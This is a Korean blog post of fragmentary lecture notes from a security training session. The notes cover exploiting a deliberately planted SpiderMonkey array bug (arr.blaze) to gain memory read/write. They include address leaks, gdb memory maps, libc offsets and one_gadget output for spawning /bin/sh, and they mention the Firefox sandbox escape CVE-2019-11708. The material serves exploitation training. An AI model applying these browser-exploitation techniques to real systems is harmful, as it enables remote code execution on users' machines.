var arr=[1,2,3,4];
arr.length
arr.blaze()
arr.length
사이즈가 늘어났다!!
arr_blaze에 있는 취약점
내부 객체 표현
array선언
uint8array 선언
사이즈가 갑자기 arr_blaze로 늘어나면
array입장에서는 Uint8Array까지 접근가능
ㄷelements->buffer_slot->length_slot->byteofset_slot
data_slot바로 아래 주소
arr_blaze이용해서 data_slot을 바꿔버려
access가능한 주소라면 read/write이 가능하다
https://gregstoll.com/~gregstoll/floattohex/
ua8이 가지고 있는 값
14번째에 릭하기 위한 것
ㄱ그림에서 00000 -> arr[14] 릭릭
ua8기준으로는 0번째
http://singi.io/bob88/int64.js
http://singi.io/bob88/utils.js
elements주소 구해가지고
js바이나리의 시작주소 구할 것이다
ㅑinfo proc all
/js
arr[9]
js바이너리의 시작 주소를 알 수 있다
mprotect mmap을 가지고 특정 ROP를 이ㅛㅇㅇ해서 쉘코드 있는 부부네 rwx권한 주고 점프하려고 했다
리눅스에서 magic gadget을 이용
text바이너리가 아니라 libc의 주소
그걸 이용하면 깔끔하게
ㅁarr[9] 고정
0x7ffff6a65000 0x7ffff6c4c000 0x1e7000 0x0 /lib/x86_64-linux-gnu/libc-2.27.so
하지만 릭은 여기
0x555555554000 0x555556da0000 0x184c000 0x0 /js
0x555556f9f000 0x555556ff3000 0x54000 0x184b000 /js
0x555556ff3000 0x555556ff4000 0x1000 0x189f000 /js
0x555556ff4000 0x555556ffc000 0x8000 0x0 [heap]
x/40a 0x555556ff3000
mprotect!!
(gdb) p/x 0x7ffff6b80ae0-0x7ffff6a65000
$1 = 0x11bae0
asDouble
root@a3e7a31263e5:/# one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
spider monkey
실제 취약점도 동일
Window10
firefox안에 있는 SandBox Escape!!
검색
cve 2019-11708!!!
ㄱrenderper process와 브라우저 간의 통신
팝업기능
팝업ㄱURL ㅈ우리가 지정하가능
'비오비' 카테고리의 다른 글
[이상섭멘토님] Trust OS (0) | 2019.08.21 |
---|---|
[8/18] 김재기 멘토님 (0) | 2019.08.18 |
[신정훈 멘토님]파폭 (0) | 2019.08.17 |
8/4[김재기멘토님] (0) | 2019.08.04 |
8/4 [박세준 멘토님] (0) | 2019.08.04 |